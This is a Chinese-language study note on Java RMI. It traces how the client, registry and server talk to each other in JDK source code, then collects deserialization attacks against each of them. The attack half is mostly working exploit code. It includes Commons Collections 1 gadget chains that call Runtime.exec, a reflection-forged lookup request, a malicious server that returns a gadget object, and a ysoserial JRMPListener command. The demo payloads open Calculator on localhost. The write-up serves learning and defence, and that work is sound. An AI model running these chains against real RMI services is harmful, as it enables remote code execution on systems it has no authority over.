**投稿邮箱：[email protected]**
这一周把时间都花在学习RMI上了...在很多位师傅的帮助下，终于搞懂了RMI是个什么东西，他的攻击流程是怎么样的，遂记录一篇笔记。
# RMI是什么?
RMI（Remote Method Invocation），是一种跨JVM实现方法调用的技术。
在RMI的通信方式中，由以下三个大部分组成：
* Client
* Registry
* Server
其中Client是客户端，Server是服务端，而Registry是注册中心。
客户端会Registry取得服务端注册的服务，从而调用服务端的远程方法。
注册中心在RMI通信中起到了一个什么样的作用？我们可以把他理解成一个字典，一个负责网络传输的模块。
服务端在注册中心注册服务时，需要提供一个key以及一个value，这个value是一个远程对象，Registry会对这个远程对象进行封装，使其转为一个远程代理对象。当客户端想要调用远程对象的方法时，则需要先通过Registry获取到这个远程代理对象，使用远程代理对象与服务端开放的端口进行通信，从而取得调用方法的结果。
RMI我认为实际上更偏向于面向接口编程，客户端不需要具体的接口实现类，只需要接口实现的代码，就可以调用远程服务端中实现了这个接口具体类的方法。
强烈建议在学习RMI之前，先看看B站马士兵的这个视频来了解RPC的演练过程，以及底层的原理：[https://www.bilibili.com/video/BV1zE41147Zq?from=search&seid=13740626242455157002](https://www.bilibili.com/video/BV1zE41147Zq?from=search&seid=13740626242455157002)
# RMI的通信原理
在低版本的JDK中，Server与Registry是可以不在一台服务器上的，而在高版本的JDK中，Server与Registry只能在一台服务器上，否则无法注册成功。
## 测试源码 & JDK版本
* JDK 7u80
### Client
Client用来调用远程方法，由于需要调用具体方法，所以本地需要有服务端注册的远程对象类所实现的接口。
User.java
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
ublic String getName() throws RemoteException;;
public User getUser() throws RemoteException;
public void updateName(String name) throws RemoteException;;
}
接口需要继承java.rmi.Remote接口，这是一个空接口，和Serializable接口一样，只作标记作用，接口中的每个方法都需要抛出RemoteException异常。
Client.java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
registry.lookup("user");
}
}
Client与注册中心和服务端交互。
### Server
User.java
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public String getName() throws RemoteException;;
public User getUser() throws RemoteException;
public void updateName(String name) throws RemoteException;;
}
同样的，Server中也需要有一个User接口。
LocalUser.java
import java.io.Serializable;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;
public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
public User getUser(){
return this;
}
public String getName(){
return "["+this.name+"]";
}
public void updateName(String name){
this.name = name;
}
}
LocalUser实现了User接口，其需要继承UnicastRemoteObject类。
Server.java
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
Server.java负责将远程对象绑定至注册中心。
### Registry
上面的Server里其实已经包含Registry了，上面的是大多数人的写法，当然如果注册中心和Server不写在一个文件里的话，我们还可以单独写一个创建注册中心的文件。
Registry.java
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Registry {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("registry is running...");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
或者我们还可以使用bin目录下的rmiregistry来创建注册中心：
用法：rmiregistry port
### 调用
在这里写一下如何在客户端调用服务端的远程方法，首先编译并运行Server.java：
接着运行客户端，即可调用远程方法：
## 流程图
上面一张图是我自己画的，可能不太完善，具体可以看先知中这个师傅里边用的流程图：
上图来源：https://xz.aliyun.com/t/2223
# 源码分析
## 客户端或服务端与注册中心的通信
获取注册中心有两种方式，一种是创建时获取（LocateRegistry#createRegistry），另外一种则是远程获取（LocateRegistry#getRegistry）。接下来会分析这两种方式的异同。
### 本地获取注册中心
createRegistry有两个方法，其中传递的参数不同：
第一种只需要传递port，即注册中心监听的端口，第二种方式除了需要传递port外，还需要传递RMIClientSocketFactory以及RMIServerSocketFactory对象。
两个方法最终获取到的都是RegistryImpl对象，对于攻击者的我们关系并不大，只需要分析第一种方法即可。
public static Registry createRegistry(int var0) throws RemoteException {
return new RegistryImpl(var0);
}
var0即我们传递的port，这里new了一个RegistryImpl对象，跟入：
public RegistryImpl(int var1) throws RemoteException {
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2));
}
LiveRef里封装了一些信息，包括ip和要监听的端口等：
第二行的setup方法中传递的参数是UnicastServerRef对象，在new的过程中把LiveRef对象传递进去了：
public UnicastServerRef(LiveRef var1) {
super(var1);
this.forceStubUse = false;
this.hashToMethod_Map = null;
}
super#UnicastRef
public UnicastRef(LiveRef var1) {
this.ref = var1;
}
在这里也只是做了一些数据的封装，并没有涉及到网络请求，我们就行跟RegistryImpl#setup：
跟入UnicastServerRef#exportObject：
这里调用了Util.createProxy，传入了RegistryImpl.class、Ref以及一个不知道是干嘛用的参数：
接着跟CreateStub：
在这里返回了RegistryImpl_Stub对象，所以var 5实际上是RegistryImpl_Stub对象。
回到上边的setSkeleton：
同样的，这里也会通过一样的方式来获取RegistryImpl_Skel对象：
继续回到上边，再创建完Stub和Skel对象时，会实例化一个Target对象：
var
6实际上也只是初始化了一些信息，把上面获取到的Stub、Skel对象以及一些ip端口信息封装在一个对象里边，之后会调用LiveRef#exportObject，并且将Target对象传进去，接着会来好几个exportObject，调用栈如下：
到了TCPTransport#exportObject之后，会做一系列网络层的操作，包括监听端口、设置当遇到请求时该怎么做：
跟入listen方法：
在调用TCPEndpoint#newServerSocket时，会开启端口监听：
接着会设置AcceptLoop线程，此时会触发其run方法：
跟入TCPTransport#executeAcceptLoop：
这里会获取到请求的一些相关信息，比如Host之类，之后在下边会创建一个线程调用ConnectionHandler来处理请求：
跟入ConnectionHandler#run：
这里的var2就是上边传进来的ServerSocket对象，接着跟入run0方法：
在上边会获取一些客户端发来的信息，下边会调用TCPTransport#handleMessages来处理请求：
跟入handlerMessages：
上面还是获取客户端传来的数据，我们这里直接看下边：
这里只需要关注80，因为客户端发送数据的时候这里发的是80，具体后边会说。
在上面的代码中先是创建了一个StreamRemoteCall对象，并传入var1，var1是当前连接的Connection对象，接着跟入TCPTransport#serviceCall：
在上边获取了传来的一些信息，比如ObjID，接着会获取Target对象，在下边会调用UnicastServerRef#dispatch来处理请求：
这里传递了两个参数，一个是Remote对象，一个是当前连接的StreamRemoteCall对象，接着跟dispatch：
前面也是读一些数据，接着会调用到UnicastServerRef#oldDispatch：
最后一行调用了this.skel.dispatch，此时的this.skel为刚刚创建的RegistryImpl_Skel对象，接着跟其dispatch方法：
在这里就是真正处理请求的核心了，var3是传递过来的int类型的参数，在这里有如下关系的对应：
* 0->bind
* 1->list
* 2->lookup
* 3->rebind
* 4->unbind
在这里会对每个调用的方法进行处理，比如你调用了bind方法，就会先readObject反序列化你传过来的序列化对象，之后再调用var6.bind来注册服务，此时的var6位RegistryImpl对象，这个对象其实就是调用createRegistry获得的，这里说这个的目的是想让大家知道，其实无论是客户端还是服务端，最终其调用注册中心的方法都是通过对创建的RegistryImpl对象进行调用。
在上面那部分，我们已经分析完了当注册中心监听的端口被请求时，是如何处理这些请求的。
通过createRegistry返回的是RegistryImpl对象，最终是像这样的：
这里的bindings是一个Hashtable，里边以键-值的方式存储了服务端注册的服务。
### 远程获取注册中心
通过getRegistry方法获得的对象是RegistryImpl_Stub对象，与通过createRegistry获得的对象不同，createRegistry获得的微RegistryImpl对象。
当我们调用这两者的方法时，其对应的处理方式也十分不同，以bind方法举例，通过createRegistry获得的注册中心调用bind方法十分简单：
在第一步会checkAccess，里边有一些判断，会对你当前的权限、来源IP进行判断，之前说了，高版本JDK中不允许除了localhost之外的地址注册服务也是在这里进行判断的：
之后其实很简单了，只是这个键是否已经被绑定过，如果已经被绑定过，则抛出一个AlreadyBoundException的错误，反之则将键和对象都put到Hashtable中。
而如果是远程调用bind方法呢？那将会变得十分麻烦，测试代码：
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(8888);
Registry reg = LocateRegistry.getRegistry("127.0.0.1",8888);
reg.bind("user",liming);
这里我先创建了注册中心，之后通过getRegistry的方式远程获取注册中心，此时获得到的对象为RegistryImpl_Stub，跟入其bind方法：
这里会先调用UnicastRef#newCall：
注意这里的var3，前面说过，bind方法对于的数字为0，此时的var3就代表了bind方法对应的数字。
在newConnection这里，会写入一些已经约定好的数据，比如ip、端口等，在StreamRemoteCall里，同样会写入一些数据：
这里在最开始写入了80，也就和我们上边分析时说的80对上了，然后还会写一些数据比如要调用的方法所对应的num和ObjID之类的。
当调用完这些之后，回到bind方法：
此时会往写入两个内容：
* 序列化后的var1，var1为我们要绑定远程对象对应的名称
* 序列化后的var2，var2为我们要绑定的远程对象
在invoke这里会把请求发出去，接着我们看看注册中心在收到这条请求后是如何进行处理的，前面说了会调用Skel#dispatch来处理请求，我们直接看这个就可以了。
注册中心首先会read两个Object，第一个即我们刚刚write进去的字符串对象，第二个就是远程对象了，接着调用var6.bind来绑定服务，var6即RegistryImpl对象，他是如何绑定服务的在上边写了。
至此，我们已经了解了当注册中心的方法被调用时，远程获取和本地获取的差异是什么。
## 客户端与服务端的通信
客户端与服务端的通信只发生在调用远程方法时。此时是客户端的远程代理对象与的Skel进行通信。
我们在客户端获取的是注册中心封装好的代理对象，所以默认会调用代理对象的invoke方法：
在这里会判断你调用的方法是所有对象都有的，还是只有远程对象才有的，如果是前者，则进入invokeObjectMethod中，后者则进入invokeRemoteMethod中。
跟入RemoteObjectInvocationHandle#invokeRemoteMethod中：
在这里会调用this.ref.invoke，并把proxy、method、args以及method的hash传过去，this.ref是在lookup时获取到的远程对象绑定的一些端口信息：
这里的端口是随机的，每次都会变，接着跟一下LiveRef#invoke：
同样的，在newConnection这里会发送一些约定好了的数据。
接着往下看：
在marshaValue这里，会将我们调用的方法要传递的参数序列化写到连接中，如果传递的参数是对象，就会写入序列化对象到这里：
接着会调用StreamRemoteCall#executeCall：
跟入：
在this.releaseOutputStream方法中，会读取服务端执行的结果：
在this.out.flush时，会把之前写进去的数据发出去，服务端会返回执行结果：
在调用完executeCall后，会进入下边这个方法，把数据取出来：
调用了unmarsharValue方法，把数据取出来，用的是jdk自带的readObject：
至此，客户端是如何和服务端通信的我们清楚了，那么服务端又是如何与客户端通信的呢？
当Client在与Server通信时，Server实际处理请求的位置在：UnicastServerRef#dispatch
在这里会调用unmarshaValue，对请求传来的参数进行处理：
在这里会判断参数的数据类型，如果是Object的话，则会反序列化，所以在这里我们如果能够找到Server注册的远程对象中，如果某个方法传递的参数类型是Object，在服务端这里会被反序列化，此时即可造成RCE（当然得有gadget）。
最终通过调用invoke，来调用远程对象的方法。
# Java-RMI-反序列化攻击方式汇总
上面已经把客户端、服务端、注册中心三者是如何交互的给简单分析了一下，可以发现其通讯过程是基于序列化的，那么有序列化，自然就会有反序列化，所以我们只需要根据反序列化的点去攻击就好了。
## 攻击注册中心
我们可以通过以下方法与注册中心进行交互：
* list
* bind
* rebind
* rebind
* lookup
我们来看看注册中心对这几种方法的处理，如果存在readObject，则可以利用。
### list
当调用list时，不存在readObject，所以无法攻击注册中心。
### bind & rebind
当调用bind时，会用readObject读出参数名以及远程对象，此时则可以利用。
当调用rebind时，会用readObject读出参数名和远程对象，这里和bind是一样的，所以都可以利用。
Demo：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
}
这里我用的是cc1的链，所以服务端自然也需要存在cc1相关的漏洞组件才行。
重点关注：
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象：
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)
上述代码中创建了一个代理对象，这个代理对象代理了Remote.class接口，handler为我们的handler对象。当调用这个代理对象的一切方法时，最终都会转到调用handler的invoke方法。
而handler是InvocationHandler对象，所以这里在反序列化时会调用InvocationHandler对象的invoke方法：
在invoke方法里，同样会触发memberValues的get方法，此时的memberValues是proxy_map，其也是一个代理类对象，所以会继续触发proxy_map的invoke方法，后边的就是cc1的前半段内容了。
### unbind & lookup
从上述代码中我们可以发现，unbind和lookup实际上都会调用readObject来读取传递过来的参数，所以同样是可以利用的。
不过这里有一个问题，当我们调用unbind或者lookup时，只允许我们传递字符串，所以没法传递我们的恶意对象。这个问题要解决有几种办法：
* 伪造连接请求
* rasp hook请求代码，修改发送数据
我用的是第一种，也是比较简单的一种，直接通过反射就能实现。
想要手动伪造请求，我们就需要去判断一下当执行lookup时，会经过怎样的流程。
在调用lookup之前，我们需要先获取客户端，通过getRegistry方法返回的是一个Registry_Stub对象。
Registry_Stub#lookup
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
我们只需要照抄一遍，再修改一下代码即可。
Demo：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
//
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码，去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
当然，unbind也是同样的流程，这里就不重新再写一次了。
## 攻击客户端
### 注册中心攻击客户端
PS：此方式可攻击客户端或服务端。
在通信过程中，RMI与注册中心以及服务端进行了交互，我们需要对这两者做手脚，从而达到攻击客户端的目的。
对于注册中心来说，我们还是从这几个方法触发：
* bind
* unbind
* rebind
* list
* lookup
这里的每个方法，除了unbind和rebind，其他的都会返回数据给客户端，此时的数据是序列化的数据，所以客户端自然也会反序列化，那么我们只需要伪造注册中心的返回数据，就可以达到攻击客户端的效果啦。
这里yso的JRMPListener已经做好了，命令如下：
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'
Client Demo：
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
registry.list();
}
}
比较有意思的是，我发现这里即使调用unbind也会触发反序列化，推测是在之前传输一些约定好的数据时进行的序列化和反序列化。
所以实际上这五种方法都可以达到注册中心反打客户端或服务端的目的。
### 服务端攻击客户端
服务端攻击客户端，大抵可以分为以下两种情景。
1.可以使用codebase 2.服务端返回参数为Object对象
先写第二种。
#### 服务端返回参数为Object对象
在RMI中，远程调用方法传递回来的不一定是一个基础数据类型（String、int），也有可能是对象，当服务端返回给客户端一个对象时，客户端就要对应的进行反序列化。
所以我们需要伪造一个服务端，当客户端调用某个远程方法时，返回的参数是我们构造好的恶意对象。
这里我还是以cc1为例，简单的演示一下。
恶意UserImpl：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;
public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
public Object getUser(){
InvocationHandler handler = null;
try {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}catch(Exception e){
e.printStackTrace();
}
return (Object)handler;
}
public String getName(){
return "["+this.name+"]";
}
public void updateName(String name){
this.name = name;
}
public void addUser(Object user) throws RemoteException {
}
}
恶意服务端：
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
此时当客户端调用服务端绑定的远程对象的getUser方法时，将反序列化服务端传来的恶意远程对象。此时将触发Rce。
当然，这种前提是客户端也要有对应的gadget才行。
#### 远程加载对象
这个条件十分十分苛刻，在现实生活中基本不可能碰到。
当服务端的某个方法返回的对象是客户端没有的时，客户端可以指定一个URL，此时会通过URL来实例化对象。
具体可以参考这篇文章，利用条件太过于苛刻了：https://paper.seebug.org/1091/#serverrmi-server
java.security.policy这个默认是没有配置的，需要我们手动去配置。
## 攻击服务端
如何攻击服务端呢？上面已经说了用注册中心反打服务端的操作，接下来就是说客户端如何攻击服务端了。
### 当服务端的远程方法存在Object参数的情况下
在上上面写了，如果服务端的某个方法，传递的参数是Object类型的参数，当服务端接收数据时，就会调用readObject，所以我们可以从这个角度入手来攻击服务端。
前提：
* 服务端的某个远程方法传递参数为Object
我们需要先在User接口中新增这么一个方法：
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public String getName() throws RemoteException;;
public User getUser() throws RemoteException;
public void updateName(String name) throws RemoteException;;
public void addUser(Object user) throws RemoteException;
}
此时多了一个addUser方法，当客户端调用这个方法时候，服务端会对其传递的参数进行反序列化。
Client Demo：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
User user = (User) registry.lookup("user");
user.addUser(handler);
}
}
### 远程加载对象
和上边Server打Client一样，都属于十分十分十分难利用的点。
参考：<https://paper.seebug.org/1091/#serverrmi>
## 实现带回显攻击
这里说的带回显攻击，指的是攻击注册中心时，注册中心遇到异常会直接把异常发回来，返回给客户端。
先看下之前攻击注册中心时采用的方式，我们可以通过bind、lookup、unbind、rebind等方式去攻击注册中心，当我们尝试攻击时，命令确实执行了，不过注册中心的错误也会传递到我们的客户端中：
Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.util.Set
at com.sun.proxy.$Proxy2.entrySet(Unknown Source)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:329)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:979)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1873)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1329)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1970)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1895)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1329)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:349)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:390)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:248)
at sun.rmi.transport.Transport$1.run(Transport.java:159)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:155)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:535)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918)
at java.lang.Thread.run(Thread.java:695)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:275)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:378)
at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
at Client.main(Client.java:55)
这一段即注册中心传递过来的错误，我们先看看当注册中心处理请求时，遇到报错的处理方式，前面说了，注册中心会在处理请求时，会调用到UnicastServerRef#dispatch来处理请求，这里会调用RegistryImpl_Skel#dispatch来处理请求：
重点关注红框框起来的这几段，首先是把异常赋值给了var6，之后会获取到当前socket连接到outputstream，然后写入异常，之后通过finally后边的两段代码把数据回传给客户端。
这里应该很好理解，难点是我们要如何手动的抛出一个异常，并把命令执行的结果带入异常中。
本来想找一找有没有办法可以实现不通过throws来抛出异常，但是似乎没有办法。。所以只能通过网上流传的POC，用URLClassLoader的方式来加载类。
